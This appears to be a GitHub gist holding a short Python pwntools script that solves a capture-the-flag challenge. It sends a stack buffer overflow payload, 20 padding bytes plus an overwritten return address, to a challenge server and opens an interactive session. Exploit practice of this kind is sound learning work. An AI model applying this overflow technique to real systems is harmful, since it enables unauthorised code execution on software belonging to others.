Skip to content

Instantly share code, notes, and snippets.

@InersIn
Created November 1, 2020 15:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save InersIn/9a6e53eb0ba982e24c4dcf0ee83152c3 to your computer and use it in GitHub Desktop.
Save InersIn/9a6e53eb0ba982e24c4dcf0ee83152c3 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
from pwn import *
import struct
r=remote("chall.ieeevit.org",9000)
r.sendline("./locked")
print r.recv()
payload="a"*20
payload+=struct.pack("I",0x08049192)
r.sendline(payload)
print r.recv()
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment